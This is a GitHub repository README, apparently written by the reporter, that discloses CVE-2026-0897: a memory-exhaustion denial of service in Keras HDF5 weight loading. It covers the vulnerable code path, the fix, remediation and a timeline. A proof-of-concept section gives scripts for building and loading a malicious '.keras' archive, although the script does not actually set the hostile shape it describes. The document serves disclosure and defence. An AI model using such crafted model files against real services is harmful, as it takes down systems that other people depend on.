Skip to content

HyperPS/CVE-2026-0897

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

CVE-2026-0897 — Google Keras: Denial of Service via HDF5 Shape Bomb in Weight Loading


Overview

Field Details
CVE ID CVE-2026-0897
Package keras (Google Keras)
Registry PyPI
Affected Versions 3.0.0 through 3.13.0 (inclusive)
Vulnerability Type CWE-770: Allocation of Resources Without Limits or Throttling
CVSS Score 7.1 High (CVSS 4.0, CNA: Google Inc.)
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction Passive (victim loads a model file)
Availability Impact High
Confidentiality Impact None
Integrity Impact None
NVD Published January 15, 2026
NVD Last Modified January 23, 2026
Source / CNA Google Inc.
Reported By HyperPS (Sarvesh Patil) via huntr.dev / GHSA
Fix Status Merged — PR #21880

Description

A Denial of Service vulnerability exists in the HDF5 weight loading component of Google Keras versions 3.0.0 through 3.13.0 on all platforms. The vulnerability is caused by the absence of any validation or throttling when processing HDF5 dataset shape metadata declared inside a .keras archive.

The HDF5 format permits datasets to declare their shape (tensor dimensions) as metadata. When Keras loads model weights from a .keras archive, it reads this declared shape and attempts to allocate a corresponding block of memory before any data is transferred. Because Keras performs no bounds check on the declared shape prior to allocation, an attacker can craft a model.weights.h5 file that declares an astronomically large shape — for example (1000000, 1000000, 1000000) — causing Keras to attempt a petabyte-scale memory allocation. This exhausts all available system memory and crashes the Python interpreter.

No inference or further interaction is required after the model is loaded. The attack is fully triggered at load time.


Affected Component

File Description
keras/src/saving/file_editor.py KerasFileEditor._extract_weights_from_store() — reads HDF5 dataset shape and allocates memory without size validation or throttling

The vulnerability is located specifically in the KerasFileEditor class, which is responsible for deserializing model weight tensors from HDF5 stores embedded inside .keras archives.


CVSS 4.0 Vector Breakdown

Metric Value Meaning
Attack Vector (AV) Network Exploitable remotely via a distributed model file
Attack Complexity (AC) Low No special conditions or race conditions required
Attack Requirements (AT) None No prerequisite deployment configuration needed
Privileges Required (PR) None No authentication or account required
User Interaction (UI) Passive Victim must load the malicious .keras archive
Vulnerable System Availability (VA) High Python interpreter crashes; service becomes completely unavailable
Vulnerable System Confidentiality (VC) None No data disclosure
Vulnerable System Integrity (VI) None No data modification
Subsequent System Impact (SC/SI/SA) None Impact is contained to the loading process

Impact

  • Complete Denial of Service — The Python interpreter is crashed and the process is terminated when the malicious archive is loaded
  • Memory Exhaustion — System RAM is rapidly consumed attempting to fulfill the declared allocation, potentially affecting other co-located services
  • Disruption of ML Pipelines — Any production or research pipeline that loads .keras model archives from untrusted or user-supplied sources is vulnerable
  • No Authentication Required — An attacker only needs the victim to load a malicious archive; the attack requires no credentials and no prior access

High-Risk Deployment Contexts

Context Risk
Public model serving APIs that accept user-uploaded .keras files Attacker crashes the inference service with a single request
ML platforms hosting community model downloads (e.g., Hugging Face) Poisoned model causes DoS for any researcher who downloads and loads it
Federated learning environments Malicious participant distributes a crafted weight file to crash coordinator or peer nodes
CI/CD pipelines that load model checkpoints A compromised or substituted checkpoint causes pipeline failure and unavailability
Chatbots or NLP services that hot-reload models at runtime Single malicious reload request brings the service down

Technical Details

Attack Mechanism: HDF5 Shape Bomb

The HDF5 file format stores tensor metadata — including shape declarations — separately from the actual data bytes. When KerasFileEditor._extract_weights_from_store() encounters a dataset entry, it reads the declared shape and calls NumPy to pre-allocate an array of the corresponding dimensions before reading any data from disk.

Because the shape is metadata, a minimal HDF5 file can declare a shape that would require petabytes of memory while the file itself remains only a few kilobytes in size. The ratio of file size to allocation size makes this a highly effective amplification attack.

A shape such as (1000000, 1000000, 1000000) with a 32-bit float dtype would request approximately 4,000 petabytes of memory. The OS out-of-memory killer or the Python allocator will crash the process nearly instantly.

Vulnerable Code Path (before fix)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

The absence of any check on shape before calling np.zeros() is the root cause.


Proof of Concept

This information is provided for educational and defensive purposes only. Do not test against systems you do not own or have explicit authorization to test.

Generating a Malicious .keras Archive

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

Triggering the DoS

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

Expected result: Python interpreter terminates with an MemoryError or is killed by the OS out-of-memory handler before the load completes.

Observable symptoms:

  • Sudden memory spike to system limit during model loading
  • Python interpreter crash or MemoryError during load_model() or load_weights()
  • System out-of-memory errors correlated with HDF5 file processing
  • Unusual HDF5 files with extremely large declared dataset shapes detectable via h5dump

Fix

The vulnerability was resolved by the researcher (HyperPS / Sarvesh Patil) in PR #21880, merged into keras-team:master on December 29, 2025, reviewed and approved by Keras maintainer hertschuh.

Resource Link
Fix Pull Request keras-team/keras#21880
Merge Commit 7360d4f
Backport Request (3.12.x) Issue #22031

What the Fix Implements

The patch modifies KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py to add the following protections before any memory allocation occurs:

  • Shape validation — Rejects shapes containing negative dimensions or zero-dimension products
  • Rank limit — Rejects datasets with tensor rank exceeding 64 (no valid model weight has rank > 64)
  • Dimension overflow detection — Checks for dimension values that would overflow integer arithmetic when multiplied
  • Maximum memory cap — Enforces a hard limit of 1 GiB per dataset allocation; any dataset whose declared shape would require more than 1 GiB is rejected with an error before allocation is attempted
  • Recursion path fix — Corrects inner_path handling during recursive traversal of the HDF5 store

The fix is backward compatible with all valid Keras weight files.

Patch (simplified illustration)

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Remediation

Action Details
Upgrade Keras Update to a version that includes the fix from PR #21880 (post 3.13.0 master builds or any official patched release)
Do Not Load Untrusted Model Files Never load .keras or .weights.h5 files from untrusted, unverified, or community-sourced locations without prior integrity verification
Verify File Integrity Validate SHA-256 checksums of model archives against publisher-provided hashes before loading
Pre-scan with h5dump Use h5dump --header <file> to inspect dataset shape metadata in HDF5 files before loading them in Keras
Least Privilege Run model-serving processes under a restricted OS user with memory limits enforced via cgroups or ulimit to bound the blast radius
Containerization Isolate model loading in a sandboxed container with memory limits to prevent a single crash from affecting other services
Monitor Memory Instrument model loading operations to alert on abnormal memory allocation patterns

Upgrade via pip:

pip install --upgrade keras

Verify installed version:

python -c "import keras; print(keras.__version__)"

Pre-scan an HDF5 weight file for suspicious shapes:

h5dump --header model.weights.h5 | grep -i "DATASPACE"

Timeline

Date Event
November 29, 2025 Fix PR #21880 submitted to keras-team/keras by HyperPS
December 1, 2025 Keras maintainer hertschuh requests references; review begins
December 26, 2025 Maintainer review completed; final feedback addressed
December 29, 2025 PR #21880 approved and merged into keras-team:master
January 15, 2026 CVE-2026-0897 published on NVD
January 19, 2026 Backport request to Keras 3.12.x opened (Issue #22031)
January 23, 2026 NVD record last modified

References

Resource Link
NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-0897
Official CVE Record https://cve.org/CVERecord?id=CVE-2026-0897
GitHub Advisory (GHSA) https://github.com/advisories/GHSA-xfhx-r7ww-5995
Fix Pull Request keras-team/keras#21880
Merge Commit https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
Backport Request keras-team/keras#22031
Keras on PyPI https://pypi.org/project/keras/
CWE-770 https://cwe.mitre.org/data/definitions/770.html
HDF5 Format Documentation https://www.hdfgroup.org/solutions/hdf5/

Disclaimer

This repository documents CVE-2026-0897 strictly for educational, research, and defensive security purposes. The proof-of-concept code and technical details are provided to assist developers, security engineers, and system administrators in understanding, assessing, and remediating this vulnerability.

Any use of this information to cause harm to systems, services, or individuals without explicit authorization is illegal and unethical. The author assumes no liability for misuse of the information contained herein.

Contributors @mohitf070304

About

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages